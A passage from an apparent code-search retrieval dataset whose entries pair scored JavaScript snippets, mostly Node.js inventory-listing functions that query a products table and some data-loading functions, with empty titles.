product table, load it and show it; note that since the database is normalized, we JOIN with the departments table\n // to get the actual department name\n connection.query(\"SELECT item_id, product_name, department_name, price, stock_quantity FROM products LEFT JOIN departments on products.department_id = departments.department_id ORDER BY department_name, product_name;\", function (err, rows, fields) {\n\n if (err) throw err;\n\n console.log(\"\\n--- View All Products for Sale ---\");\n\n for (var i = 0; i < rows.length; i++) {\n table.push([rows[i].item_id, rows[i].product_name, rows[i].department_name, rows[i].price, rows[i].stock_quantity]);\n }\n\n console.log(table.toString());\n\n // ask the user if they want to continue\n doAnother();\n\n });\n\n}", "title": "" }, { "docid": "1fcf72bc4afb2ce17139f6f806ce5116", "score": "0.58385056", "text": "function showProducts () {\n connection.query(query, function(err, results) {\n if (err) {\n throw err;\n };\n console.log(\"\\nID - Product Name: Price\\n\");\n results.forEach(element => {\n var item_id = element.item_id;\n var product_name = element.product_name;\n var price = element.price;\n console.log(`${item_id} - ${product_name}: $${price}`)\n\n // Testing the old ways\n // for (var i = 0; i < results.length; i++) {\n // console.log(`${results.item_id} - ${results.product_name}: $${results.price}`)};\n });\n\n buyItem();\n });\n}", "title": "" }, { "docid": "2a5966886cad78864f5920590bd4a726", "score": "0.583811", "text": "function showPurchases() {\n app.getView().render('account/giftregistry/purchases');\n}", "title": "" }, { "docid": "73b809dcfbb6f4999a9cd677baf3299e", "score": "0.58377314", "text": "function displayAllProducts() {\n \n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) throw err;\n \n\n //Loop to push items into productArray\n for (var i = 0; i < res.length; i++) {\n \tproductArray.push(res[i].product_name);\n }\n \n\n inquirer\n \t\t.prompt([\n \t\t\t{\n\t\t\t\ttype: \"list\",\n\t\t\t\tmessage: \"Which item would you like to purchase?\",\n\t\t\t\tchoices: productArray,\n\t\t\t\tname: \"selection\"\n\t\t }\n\t\t])\n\t\t.then(function(inqRes) {\n\t\t\tconsole.log(inqRes.selection);\n\t\t\tselectItem(inqRes.selection);\n\n\n\t\t});//ends then\n\n\n });//end of connection query\n} //end of displayAllProducts", "title": "" }, { "docid": "8db1f1543d6dce7e7713c317175d2ff3", "score": "0.583342", "text": "function viewLowInventory() {\n\n var query = \"SELECT * FROM products\";\n connection.query(query, function(err, res) {\n if (err) throw err;\n console.log(\"All items that need to be restocked:\\n\");\n console.log(\"\\n-----------------------------------------\\n\");\n for (var i = 0; i < res.length; i++) {\n if (res[i].stock_quantity <= 5) {\n console.log(\"Id: \".bold + res[i].item_id + \" | Product: \".bold + res[i].product_name + \" | Department: \".bold + res[i].department_name + \" | Price: \".bold + \"$\".green.bold +res[i].price + \" | QOH: \".bold + res[i].stock_quantity);\n }\n }\n console.log(\"\\n-----------------------------------------\\n\");\n });\n\n\n}", "title": "" }, { "docid": "1f373fe6a7ddf423f7c0e1c2db97f234", "score": "0.5833151", "text": "function viewProducts(){\n\n\tvar query = \"SELECT * FROM products\";\n\n\tconnection.query(query, function(err, res){\n\t\tif (err) throw err;\n\t\tconsole.log(\"ALL INVENTORY IN PRODUCTS TABLE\");\n\t\tfor(i=0; i< res.length; i++){\n\t\t\tconsole.log(\"---|| ID \"+ res[i].item_id+\" ---|| NAME: \"+ res[i].product_name+\" ---|| PRICE: $\"+ res[i].price + \" ---|| QUANTITY \" + res[i].stock_quantity);\n\t\t};\n\t\taskAction();\n\t})\n\n}", "title": "" }, { "docid": "a19e3504f63cc9bf4c31f50a691369ed", "score": "0.5826322", "text": "function allItemsCollected () {\n\tif (Inventory.length === 4) {\n\t\talert(\"Congrats, you now have all the items you need. But whats next...?\");\n\t\tused = true;\n\t}\n}", "title": "" }, { "docid": "cce3947473413935225a11879949d232", "score": "0.5821394", "text": "function forSale() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(\"ID: \" + res[i].id + \"; Product: \" + res[i].product_name + \"; Department: \" + res[i].department_name + \"; Price: $\" + res[i].price + \"; Quantity Available: \" + res[i].stock_quantity);\n };\n nextToDo();\n });\n}", "title": "" }, { "docid": "10d147c40990a9aeb4f565a5cb90f039", "score": "0.5820621", "text": "function displayProducts() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n for (var i = 0; i < res.length; i++) {\n console.log(\"ID: \" + res[i].item_id + \" | \" \n + \"Product: \" + res[i].product_name + \" | \" \n + \"Department: \" + res[i].department_name + \" | \" \n + \"price: \" + res[i].price + \" | \" \n + \"QTY: \" + res[i].stock_quantity);\n }\n inquireForPurchase();\n\n });\n}", "title": "" }, { "docid": "851ed0fc9d650c14d1d37ce591f8d518", "score": "0.5818366", "text": "async getSales(){\n\t\t\ttry {\n\t\t\t\tlet response = await axios.get(\"/api/sales\");\n\t\t\t\tthis.sales = response.data;\n\t\t\t} catch (error){\n\t\t\t\tconsole.log(error);\n\t\t\t}\n\t\t\tthis.calcTotal();\n\t\t\tthis.filteredSales();\n\t\t}", "title": "" }, { "docid": "7c80d682c53cc58f7ab1392293b12294", "score": "0.58171695", "text": "function viewLowInventory() {\n\tconnection.query(\"SELECT * FROM products\", function(err, res) {\n\t\t// console.log(res)\n\t\tif(err) {\n\t\t\tthrow err\n\t\t};\n\t\t\n\t\tvar enoughStocked = true;\n\n\t\tfor (var j = 0; j < res.length; j++) {\n\t\t\tif (res[j].stock_quantity < 5) {\n\t\t\t\tenoughStocked = false\n\t\t\t\tconsole.log(\"SKU: \" + res[j].item_id + \" | Product: \" + res[j].product_name \n\t\t\t\t+ \" | Inventory: \" + res[j].stock_quantity)\n\t\t\t} \n\t\t};\n\n\t\tif (enoughStocked === true){\n\t\t\tconsole.log(\"All products have sufficient stock.\")\n\t\t}\n \t// connection.end();\n \trunQuery();\n\t});\n}", "title": "" }, { "docid": "4fd4da61819a8cce3f24a3cb7b462d25", "score": "0.58152133", "text": "function productsForSale() {\n connection.query('SELECT * FROM products', function (err, allProducts) {\n if (err) throw err;\n\n var table = new Table({\n head: ['item_id', 'product_name', 'department_name', 'price', 'stock_quantity', 'product_sales'],\n colWidths: [10, 25, 20, 10, 18, 15]\n });\n\n for (var i = 0; i < allProducts.length; i++) {\n table.push([allProducts[i].item_id, allProducts[i].product_name, allProducts[i].department_name, allProducts[i].price, allProducts[i].stock_quantity, allProducts[i].product_sales]);\n }\n\n console.log(table.toString());\n console.log('\\n');\n managerView();\n });\n}", "title": "" }, { "docid": "75f1018f7c444d90b49ed23bc0014d95", "score": "0.58124113", "text": "function doShowAll() {\n\tif (CheckBrowser()) {\n\t\tvar key = \"\";\n\t\tvar list = \"<tr><th>Oursons</th><th>Quantités</th><th>Prix</th></tr>\\n\";\n\t\tvar i = 0;\n\t\t//for more advance feature, you can set cap on max items in the cart\n\t\tfor (i = 0; i <= localStorage.length-1; i++) {\n\t\t\tkey = localStorage.key(i);\n\t\t\tlist += \"<tr><td>\" + key + \"</td>\\n<td>\"\n\t\t\t\t\t+ localStorage.getItem(key) + \"</td></tr>\\n\";\n\t\t}\n\t\t//if no item exists in the cart\n\t\tif (list == \"<tr><th>Oursons</th><th>Quantités</th><th>Prix</th></tr>\\n\") {\n\t\t\tlist += \"<tr><td><i>vide</i></td>\\n<td><i>vide</i></td>\\n<td><i>vide</i></td></tr>\\n\";\n\t\t}\n\t\t//bind the data to html table\n\t\tdocument.getElementById('list').innerHTML = list;\n\t} else {\n\t\talert('Cannot save shopping list as your browser does not support HTML 5');\n\t}\n}", "title": "" }, { "docid": "4e0cde9224e963da5f8cbe9c82df34c5", "score": "0.5811549", "text": "function viewProductsForSale(runMgrView, cb) {\n\n // console.log(\"Inside viewProductsForSale()\");\n\n let queryString = \"SELECT * FROM products\";\n\n let query = connection.query(queryString, function (err, res) {\n\n if (err) throw err;\n\n console.log(\"\\n\\n\");\n console.log(\"\\t\\t\\t\\t---- Products for sale ---- \\n\");\n\n console.log(\"\\tITEM ID\" + \"\\t\\t|\\t\" + \"ITEM NAME\" + \"\\t\\t|\\t\" + \"ITEM PRICE\" + \"\\t|\\t\" + \"QUANTITY\");\n console.log(\"\\t-------\" + \"\\t\\t|\\t\" + \"---------\" + \"\\t\\t|\\t\" + \"----------\" + \"\\t|\\t\" + \"--------\");\n\n res.forEach(item =>\n console.log(\"\\t\" + item.item_id + \"\\t\\t|\\t\" + item.product_name + \"\\t\\t|\\t\" + item.price.toFixed(2) + \"\\t\\t|\\t\" + item.stock_quantity)\n );\n\n if (runMgrView) {\n //Call manager view\n console.log(\"\\n\\n\");\n bamazonManagerView();\n } else {\n cb();\n }\n\n });\n\n\n}", "title": "" }, { "docid": "937d0cbc25d16627252e3efe74b0df11", "score": "0.5811284", "text": "function getAllItems(){\n return Item.findAll({include: [Storage, Folder, Giving],\n where:{\n utilizeDate: null\n }})\n}", "title": "" }, { "docid": "fb4649358d0e9ff6265d918844bb232c", "score": "0.5808869", "text": "function allItems(req, res){ \n FoodItem.find({}, function (err, menu) { \n if (err) throw err;\n return res.send(menu);\n });\n}", "title": "" }, { "docid": "f40540f955889236139171bc362cb7bb", "score": "0.5800014", "text": "function viewSaleProducts(callback){\n //create a query to select all the products\n var allprods = connection.query(\n 'select item_id, product_name, department_id, price, stock_qty, product_sales from products', \n function(err, res){\n if(err){\n throw err;\n }\n else{\n console.log('\\n');\n console.table(res);\n //if call back exists call that function\n if(callback){\n callback();\n }\n //else display the products\n else{\n managerMenu();\n }\n }\n });\n}", "title": "" }, { "docid": "c9b3dd3cd1f30742f0503f9390a5e147", "score": "0.57998735", "text": "getAvailableItems() {\n // Call the function to load all available items\n var data = autocomplete.cloudLoadAvailableItems();\n return data;\n }", "title": "" }, { "docid": "623306919ad5bcbfe8e4883ebdeb942e", "score": "0.57997644", "text": "function moreOutfits() {\n getLooks();\n }", "title": "" }, { "docid": "8a1e25f803d7a6624166bcc889b107f0", "score": "0.57992524", "text": "function viewProducts() {\n\tconnection.query(\"SELECT * FROM products\", function(err, res) {\n\t\tif (err) throw err;\n\t\tfor (var i = 0; i < res.length; i++) {\n\t\t\tconsole.log(\"---------------------------------------\" + \n\t\t\t\"\\nItem Id: \" + res[i].item_id + \"\\nProduct: \" + \n\t\t\tres[i].product_name + \"\\nPrice: \" + res[i].price + \n\t\t\t\"\\nQuantity in Stock: \" + res[i].stock_quantity);\n\t\t}\n\t\tstartOver();\n\t});\n}", "title": "" }, { "docid": "b288ae58d3fc92adf92c9b7fa09bf700", "score": "0.57990456", "text": "function displayForSale() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n\n if (err) throw err;\n var price;\n items = res.length;\n var sales;\n console.log(\"=====================================================================\");\n var tableArr = [];\n for (var i = 0; i < res.length; i++) {\n sales = parseFloat(res[i].product_sales).toFixed(2);\n price = parseFloat(res[i].price).toFixed(2);\n tableArr.push(\n {\n ID: res[i].item_id,\n PRODUCT: res[i].product_name,\n DEPARTMENT: res[i].department_name,\n PRICE: price,\n ONHAND: res[i].stock_quantity,\n SALES: sales\n }\n )\n }\n console.table(tableArr);\n console.log(\"=====================================================================\");\n promptChoice();\n })\n}", "title": "" } ]
7a891b6af4b936c7c55285050bce597c
load data set from local file (on this server)
[ { "docid": "d905a1e03aaca5855ae4f72e626a008a", "score": "0.0", "text": "function loadData() \r\n{\r\n loadMNIST ( function(data) \r\n {\r\n mnist = data;\r\n console.log (\"All data loaded into mnist object:\")\r\n console.log(mnist);\r\n AB.removeLoading(); // if no loading screen exists, this does nothing \r\n });\r\n}", "title": "" } ]
[ { "docid": "b65940136419ccfa3ed297f6050b5d8a", "score": "0.6404581", "text": "function importDataManually(){\n var data = fs.readFileSync('C:/Users/Andre/mapdata.txt');\n mapSourceData = JSON.parse(data);\n}", "title": "" }, { "docid": "b1e0baa19b04a69fd6eecec33f34abfc", "score": "0.61459816", "text": "fetchDataFromFile(){\n const savedData = JSON.parse(fs.readFileSync(this.jsonFilePath));\n if(typeof savedData === \"object\"){\n this.data = savedData;\n }\n }", "title": "" }, { "docid": "216ceed45f647570d70e0aca374fe0cc", "score": "0.6104137", "text": "function loadData() {\n\tFILES.forEach(f => {\n\t\t_parseCSVFile(fs.readFileSync(f.file, \"utf8\"), _csvFileParsed, f.year);\n\t})\n}", "title": "" }, { "docid": "43bc1659c645d7e163ca831d36912b0e", "score": "0.6055607", "text": "function loadData(filename) {\n\t//Raw uncleaned unformated data\n\tlet raw = fs.readFileSync(filename, 'utf-8')\n\t//Puts the data into the proper format\n\tlet cleanedCSV = d3.csvParse(raw)\n\t//Assigned the clean data to that empty array that we declared earlier\n\tearningsCalls = cleanedCSV\n}", "title": "" }, { "docid": "17ccebe6476950c05497341f1f0b4cd9", "score": "0.59792763", "text": "loadData () {}", "title": "" }, { "docid": "1834325c7aa19d255c50d901340bdb0b", "score": "0.59023446", "text": "function loadData() {\n this.task('Load data', () => {\n const storePaths = this.tools.readDir(this.internal.paths.data, '*', 'true').filter(this.tools.isDir);\n\n storePaths.forEach((storePath) => {\n const storeName = nodePath.parse(storePath).name;\n this.store[storeName] = parseDataDir(storePath);\n });\n });\n}", "title": "" }, { "docid": "266da8be3ef5c6202fa5ced473ab0946", "score": "0.5861969", "text": "function loadAllData(){\n console.log(\"Beginning load\");\n var data = JSON.parse(fs.readFileSync(__dirname+'/server_files/data', 'utf8'));\n console.log(data);\n users = data.users;\n googleIDusers = data.googleIDusers;\n schedules = data.schedules;\n groupID = data.groupID;\n globalGroup = data.globalGroup;\n groups = data.groups;\n logImportance = data.logImportance;\n console.log(\"Load done\");\n}", "title": "" }, { "docid": "365d745992b8d8e1ce72bc474a022534", "score": "0.57254755", "text": "function load() {\n masters.sets.load(function (err) {\n if (err) {\n console.log('error when loading sets', err);\n }\n masters.cards.load(function (err) {\n if (err) {\n console.log('error when loading cards', err);\n }\n\n /*\n * data has been fetched from local store\n */\n \n /*\n * we set up insert and update listeners now\n * if we did it before, .load() would have called onInsert\n */\n masters.sets.on(\"insert\", onCollectionInsert).on(\"update\", onCollectionUpdate);\n masters.cards.on(\"insert\", onCollectionInsert).on(\"update\", onCollectionUpdate);\n\n /*\n * if database is not empty, use it for now\n */\n if (masters.sets.count() > 0 && masters.cards.count() > 0) {\n release();\n }\n\n /*\n * then we ask the server if new data is available\n */\n query();\n });\n });\n }", "title": "" }, { "docid": "6506b45371bcd51db975171a0281c2ff", "score": "0.5708854", "text": "function loadDataset() {\n d3.csv(\"sprawl_msa.csv\", \n\n function (error, data) {\n displayed_datasets.length = 0;\n data.forEach(function(data) {\n public_dataset.push(data);\n dataset = data;\n });\n\n setupVariables(public_dataset);\n \n }\n\n );\n}", "title": "" }, { "docid": "4d8ce3e44ddec3f32a9140625f7fcd56", "score": "0.5682761", "text": "function loadData() {\n\tif( userNames.length > 0)\n\t\treturn;\n\tvar str;\n\tif( fs.existsSync('usernames.data')) {\n\t\tstr = fs.readFileSync('usernames.data','utf8')\n\t\tuserNames = JSON.parse(str)\n\t} \n\tif( fs.existsSync('userids.data')) {\n\t\tstr = fs.readFileSync('userids.data','utf8')\n\t\tuserIds = JSON.parse(str)\n\t}\n\tif( fs.existsSync('communitynames.data')) {\n\t\tstr = fs.readFileSync('communitynames.data','utf8')\n\t\tcommunityNames = JSON.parse(str)\n\t}\n\tvar i\n\tvar basefile\n\tif( fs.existsSync( '/images')) \n\t\tbasefile = '/images/cats.'\n\telse\n\t\tbasefile = 'images/cats.'\t\n\tfor( i = 1; i <= 40 ; i++) {\n\t\tvar img = fs.readFileSync(basefile + i + '.jpeg')\n\t\timages.push( img)\n\t}\n}", "title": "" }, { "docid": "93f21e096d2e63e6ae827cd11d8d0ff6", "score": "0.56770134", "text": "function loadData() {\n var xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n loadArrays(this);\n }\n };\n xhttp.open(\"POST\", \"comp_sci.txt\", true);\n xhttp.send();\n}", "title": "" }, { "docid": "9033ef6ab50fa0cb8b478743c3bc5315", "score": "0.5661072", "text": "static async loadTravelData() {\n FilePicker.browse(\"data\", `systems/wfrp4e/modules/apps`).then(resp => {\n\n for (var file of resp.files) {\n try {\n if (!file.includes(\".json\"))\n continue\n let filename = file.substring(file.lastIndexOf(\"/\") + 1, file.indexOf(\".json\"));\n\n fetch(file).then(r => r.json()).then(async records => {\n this.travel_data = records;\n })\n }\n catch (error) {\n console.error(\"Error reading \" + file + \": \" + error)\n }\n }\n });\n }", "title": "" }, { "docid": "7e4d58a85a39e5efccc996eb27403574", "score": "0.5657752", "text": "function loadData (f, selection){\n\n if (!f[\"data\"]) {console.log (\" --> No data key found in JSON file\"); }\n else { file = f[\"data\"]; file.columns = Object.keys(file[0]); }\n\n if (!f[\"dataNodes\"]) {console.log (\" --> No dataNodes key found in JSON file\"); }\n else { nodeFile = f[\"dataNodes\"]; nodeFile.columns = Object.keys(nodeFile[0]); }\n\n if (!f[\"paths\"]) {console.log (\" --> No paths key found in JSON file\"); }\n else { pathFile = f[\"paths\"]; pathFile.columns = Object.keys(pathFile[0]); }\n\n allGraphs = constructSankeyFromCSV(file); // main data structure build from JSON file\n createChart(selection);\n }", "title": "" }, { "docid": "a75595d1719b0819812b6a3d75415507", "score": "0.5655542", "text": "async load() {\n let response;\n try {\n response = await fetch(LOCAL_JENA_WEATHER_CSV_PATH);\n } catch (err) {}\n\n if (response != null &&\n (response.statusCode === 200 || response.statusCode === 304)) {\n console.log('Loading data from local path');\n } else {\n response = await fetch(REMOTE_JENA_WEATHER_CSV_PATH);\n console.log(\n `Loading data from remote path: ${REMOTE_JENA_WEATHER_CSV_PATH}`);\n }\n const csvData = await response.text();\n\n // Parse CSV file.\n const csvLines = csvData.split('\\n');\n\n // Parse header.\n const columnNames = csvLines[0].split(',');\n for (let i = 0; i < columnNames.length; ++i) {\n // Discard the quotes around the column name.\n columnNames[i] = columnNames[i].slice(1, columnNames[i].length - 1);\n }\n\n this.dateTimeCol = columnNames.indexOf('Date Time');\n tf.util.assert(this.dateTimeCol === 0, `Unexpected date-time column index`);\n\n this.dataColumnNames = columnNames.slice(1);\n this.tempCol = this.dataColumnNames.indexOf('T (degC)');\n tf.util.assert(this.tempCol >= 1, `Unexpected T (degC) column index`);\n\n this.dateTime = [];\n this.data = []; // Unnormalized data.\n // Day of the year data, normalized between 0 and 1.\n this.normalizedDayOfYear = [];\n // Time of the day, normalized between 0 and 1.\n this.normalizedTimeOfDay = [];\n for (let i = 1; i < csvLines.length; ++i) {\n const line = csvLines[i].trim();\n if (line.length === 0) {\n continue;\n }\n const items = line.split(',');\n const parsed = this.parseDateTime_(items[0]);\n const newDateTime = parsed.date;\n if (this.dateTime.length > 0 &&\n newDateTime.getTime() <=\n this.dateTime[this.dateTime.length - 1].getTime()) {\n }\n\n this.dateTime.push(newDateTime);\n this.data.push(items.slice(1).map(x => +x));\n this.normalizedDayOfYear.push(parsed.normalizedDayOfYear);\n this.normalizedTimeOfDay.push(parsed.normalizedTimeOfDay);\n }\n this.numRows = this.data.length;\n this.numColumns = this.data[0].length;\n this.numColumnsExcludingTarget = this.data[0].length - 1;\n console.log(\n `this.numColumnsExcludingTarget = ${this.numColumnsExcludingTarget}`);\n\n await this.calculateMeansAndStddevs_();\n }", "title": "" }, { "docid": "12289fcee4477cccde08defeb066165c", "score": "0.56546676", "text": "function importDataFromFile() {\n\t$('#fileLoadingAnimation').css('display', 'block');\n\tvar file = this.files[0];\n\tvar textType = /text.*/;\n\n\tif (file.type.match(textType)) {\n\t\tvar reader = new FileReader();\n\n\t\treader.onload = function () {\n\t\t\t// noinspection JSCheckFunctionSignatures\n\t\t\tplots = JSON.parse(reader.result);\n\t\t};\n\n\t\treader.readAsText(file);\n\t} else {\n\t\t$('#fileError').css('display', 'block');\n\t\treturn;\n\t}\n\n\tsetTimeout(function(){\n\t\t$('#importData').modal('hide');\n\t\treloadSite();\n\t}, 1000);\n}", "title": "" }, { "docid": "5005f9f4319aaa5959c8c1d0ef32d874", "score": "0.56512564", "text": "async function loadTriples() { return await readFile('data/loc.nt'); }", "title": "" }, { "docid": "93d59b70f6a07af30eb3edf2d3071faa", "score": "0.565049", "text": "function load_data()\n{\n\tif (!fs.existsSync(filename)) return;\n\n\tconsole.log('Reading ' + filename);\n\tlogItems = JSON.parse(fs.readFileSync(filename));\n\tconsole.log('Parsed ' + logItems.length + ' entries');\n}", "title": "" }, { "docid": "f90ddfa2332ae1eda6bec5b1e7978a07", "score": "0.5632178", "text": "function loadData() {\n\n\n if (!Detector.webgl) {\n\n Detector.addGetWebGLMessage();\n }\n else {\n\n\n loadCountryCodes(function () {\n loadWorldPins(function () {\n d3.csv(\"data/UniqueTrips5k.csv\", function (d) {\n // the atom objects\n tripsData = d;\n\n init();\n });\n });\n });\n\n }\n}", "title": "" }, { "docid": "6af58591d1aa20e2d14364d529932442", "score": "0.5627034", "text": "function getData() {\n\t$$(\"dataFromBackend\").clearAll();\n\t$$(\"dataFromBackend\").load(\"http://localhost:3000/data\");\n\n\t// old backend on Apache/PHP:\n\t//$$(\"dataFromBackend\").load(\"http://localhost/data_master/data/data.php\");\n \n}", "title": "" }, { "docid": "358f54745db9d36f6928d05c8d8894e4", "score": "0.5621481", "text": "static fetchAllSync() {\n return JSON.parse(fs.readFileSync(dataPath))\n }", "title": "" }, { "docid": "a71be94ad0c86abcd2c5152d6b59f1bd", "score": "0.56208193", "text": "function load_data(filename, u) {\n units = u;\n var f = filename;\n\n d3.json(f, function(error, b) {\n if (error) return console.error(error);\n boundaries = b;\n redraw();\n recolour_map();\n display_petition_info();\n $('#key').fadeIn();\n spinner.stop();\n interpolate_zoom(translate_saved, scale_saved);\n });\n}", "title": "" }, { "docid": "70b4d6ca55a84e9589c0b0a8a6832c43", "score": "0.56198674", "text": "function loadDataFromFiles() {\n\tfs.readFile('inventory.json', 'utf-8', (err, data) => {\n\t\tif (err) throw err;\n\n\t\tinventory = JSON.parse(data);\n\t});\n\tfs.readFile('store_inventory.json', 'utf-8', (err, data) => {\n\t\tif (err) throw err;\n\n\t\tstoreinv = JSON.parse(data);\n\t});\n\tfs.readFile('all_rules.json', 'utf-8', (err, data) => {\n\t\tif (err) throw err;\n\n\t\tallrules = JSON.parse(data);\n\t});\n\tfs.readFile('knownRules.json', 'utf-8', (err, data) => {\n\t\tif (err) throw err;\n\n\t\tknownrules = JSON.parse(data);\n\t});\n\t\n\tfs.readFile('locations.json', 'utf-8', (err, data) => {\n\t\tif (err) throw err;\n\n\t\tlocations = JSON.parse(data);\n\t});\n\t\n\tfs.readFile('playerInformation.json', 'utf-8', (err, data) => {\n\t\tif (err) throw err;\n\t\t\n\t\tplayerInfo = JSON.parse(data);\n\t});\n}", "title": "" }, { "docid": "ae4dc3235d2dbdb070a5cd20c11495e1", "score": "0.56000835", "text": "function load_data(data) {\n remote_jobs = data;\n}", "title": "" }, { "docid": "dbe4f2272448b2adcb9b1a161907974a", "score": "0.55918336", "text": "function loadLocalData(){\n logger.log('store:loadLocalData', 'called');\n\n let state = store.getState();\n for(let key in state){\n window.localforage.getItem(key, (err, res)=>{\n logger.log('store:loadLocalData:' + key, 'got data');\n if(ACTIONS[key + 'SetState'] && res){\n let parsedState = JSON.parse(res);\n store.dispatch(ACTIONS[key + 'SetState'](parsedState));\n }\n });\n }\n}", "title": "" }, { "docid": "fb43f046a96c771391f014cf525e0d72", "score": "0.55905503", "text": "function loadSpatialData() {\n\n\tlet loc_promises = [];\n\tlet orient_promises = [];\n\tfor (let i = 0; i < globalSetIndex.length; i++) {\n\t\tloc_promises.push(fetch_promise(globalSetIndex[i].descriptor.locationFilename, 'json', true));\n\t\torient_promises.push(fetch_promise(globalSetIndex[i].descriptor.orientationFilename, 'json', true));\n\t}\n\tPromise.all(loc_promises).then(function (values) {\n\t\tfor (var i = 0; i < values.length; i++) {\n\t\t\tloadCoords(values[i]);\n\t\t}\n\t}).catch(function (err) {\n\t\tlogERR('Error parsing location files');\n\t\tlogERR(err);\n\t});\n\n\tPromise.all(orient_promises).then(function (values) {\n\t\tfor (var i = 0; i < values.length; i++) {\n\t\t\tloadLocs(values[i]);\n\t\t}\n\t}).then(function () {\n\t\twindow.dispatchEvent(new CustomEvent('spatialDataReady', {\n\t\t\tdetail: 'done'\n\t\t}));\n\t}).catch(function (err) {\n\t\tlogERR('Error parsing orientation files');\n\t\tlogERR(err);\n\t});\n}", "title": "" }, { "docid": "5fdec48adf3519030e0eb2347d949994", "score": "0.5585395", "text": "function start(){\n\tvar ds = new Miso.Dataset({\n\t\t url : 'http://www.student.kuleuven.be/~s0187958/Thesis/Data/PL_allseasons_matchday.csv',\n//\t\t url : 'http://www.student.kuleuven.be/~s0187958/Thesis/Visualisatie3/Data/E0_1112_matchday_hazzled.csv',\n\t\t delimiter : ';'\n\t});\n\t\n\tds.fetch({\n\t\tsuccess : function() {\n\t\t\tconsole.log(\"Data loaded succesfully...\");\n\t\t\tconsole.log(\"Available Columns:\" + this.columnNames());\n\t\t\tconsole.log(\"There are \" + this.length + \" rows\");\n\t\t\tthis.each(function(row) {\n\t\t\t\tdata.push(row);\n\t\t\t});\n\t\t\tconsole.log(data.length);\n\t\t\tload(data, ds);\n//\t\t\tvisualize(data, ds)\n\t\t},\n\t\t\n\t\terror : function() {\n\t\t\tconsole.log(\"Are you sure you are connected to the internet?\");\n\t\t}\n\t});\n}", "title": "" }, { "docid": "43e656796b79c25f728c5663d933f449", "score": "0.55831707", "text": "function load() {\n m_data.load(\"b4w/obj/shave.json\", load_cb);\n}", "title": "" }, { "docid": "3d043c590810ee9a5db2e3a7f46cbdd6", "score": "0.5567937", "text": "function load() {\n var req = require.context('!json!../', true, /data\\.json$/);\n _.forEach(req.keys(), function(file) {\n $scope.gameData = _.merge({}, $scope.gameData, req(file));\n });\n customerDataService.customerData = $scope.gameData;\n }", "title": "" }, { "docid": "370aa79c18d3e4d528ef91bdf0cb785b", "score": "0.55673623", "text": "function loadData() {\n\tqueue()\n\t.defer(d3.json, \"data/world.hires.topo.json\")\n\t.defer(d3.json, \"data/data.json\")\n\t.await(processData);\n}", "title": "" }, { "docid": "c8c490e7e770efe26cb570e171c6a3da", "score": "0.5555634", "text": "load() {\n this.clearData();\n return this.fileExists().then((exists) => {\n return !exists ? this._loadFromConsole() : (0, fs_extra_1.readJson)(this.filePath, \"utf8\").then((data) => {\n for (const key in data) {\n this.set(key, data[key]);\n }\n return this._loadFromConsole();\n });\n });\n }", "title": "" }, { "docid": "0ca3218e9a846984370d11d6486643a1", "score": "0.5552358", "text": "async loadLocalDataset({ state, commit, dispatch }, files) {\n // Use a static UUID for the experiment which contains all local scans\n const experimentID = '276be8dd-aa3c-4ee7-a3a9-581783717a50';\n const scanID = uuid();\n\n if (!(experimentID in state.experiments)) {\n commit('addExperiment', {\n id: experimentID,\n value: {\n id: experimentID,\n name: 'LOCAL',\n index: 0,\n },\n });\n }\n\n const numSessions = state.experimentSessions[experimentID].length + 1;\n\n commit('addExperimentSessions', { eid: experimentID, sid: scanID });\n commit('setScan', {\n scanId: scanID,\n scan: {\n id: scanID,\n name: `local-${numSessions}`,\n experiment: experimentID,\n cumulativeRange: [Number.MAX_VALUE, -Number.MAX_VALUE],\n numDatasets: files.length,\n site: 'local',\n notes: [],\n decisions: [],\n },\n });\n\n let prevId = null;\n\n for (let k = 0; k < files.length; k += 1) {\n const imageID = uuid();\n const f = files[k];\n\n commit('addSessionDatasets', { sid: scanID, id: imageID });\n commit('setImage', {\n imageId: imageID,\n image: {\n ...f,\n id: imageID,\n session: scanID,\n experiment: experimentID,\n index: k,\n previousDataset: prevId,\n // TODO link properly\n // nextDataset: k < images.length - 1 ? images[k + 1].id : null,\n // firstDatasetInPreviousSession: firstInPrev,\n // firstDatasetInNextSession: nextScan ? nextScan.id : null,\n local: true,\n },\n });\n\n fileCache.set(imageID, Promise.resolve(f));\n\n if (prevId) {\n state.datasets[prevId].nextDataset = imageID;\n }\n\n prevId = imageID;\n }\n\n // last image\n state.datasets[prevId].nextDataset = null;\n\n dispatch('swapToDataset', state.datasets[state.sessionDatasets[scanID][0]]);\n }", "title": "" }, { "docid": "abd952959a7f83df20f5fa988f53dad2", "score": "0.55250823", "text": "#loadData(path) {\n const result = searchByExtension(path, this.data);\n\n if (result) {\n const [, loader] = result;\n return loader(this.site.src(path), this);\n }\n }", "title": "" }, { "docid": "054487a2bd8a0b8495a124da62a78e0e", "score": "0.5514336", "text": "function createDataset()\n{\n var start = new Date();\n\n var dataset_config = {\n type: 'sparse.mutable',\n id: 'reddit_dataset'\n };\n\n var dataset = mldb.createDataset(dataset_config)\n plugin.log(\"Reddit data loader created dataset\")\n\n //var dataset_address = 'file://mldb/mldb_test_data/reddit.csv.zst'\n var dataset_address = 'file://mldb/mldb_test_data/reddit.csv.gz';\n var now = new Date();\n\n var stream = mldb.openStream(dataset_address);\n\n var numLines = 20000; //875000;\n\n var lineNum = 0;\n while (!stream.eof() && lineNum < numLines) {\n ++lineNum;\n if (lineNum % 100000 == 0)\n plugin.log(\"loaded\", lineNum, \"lines\");\n var line = stream.readLine();\n var fields = line.split(',');\n var tuples = [];\n for (var i = 1; i < fields.length; ++i) {\n tuples.push([fields[i], 1, now]);\n }\n\n dataset.recordRow(fields[0], tuples);\n }\n\n plugin.log(\"Committing dataset\")\n dataset.commit()\n\n var end = new Date();\n \n plugin.log(\"creating dataset took \" + (end - start) / 1000 + \" seconds\");\n\n return dataset;\n}", "title": "" }, { "docid": "d56dc5e1401342fb604776b3f585bd61", "score": "0.55141705", "text": "function loadDataset() {\n knnClassifier.loadDataset('./myDataset.json', updateExampleCounts);\n}", "title": "" }, { "docid": "8e861e0277e6574d8adcbe3805946dc5", "score": "0.55005527", "text": "function loadData(){\r\n\t\tif(!angular.isUndefined($templateCache.get(chartData))){\r\n\t\t $scope.data = 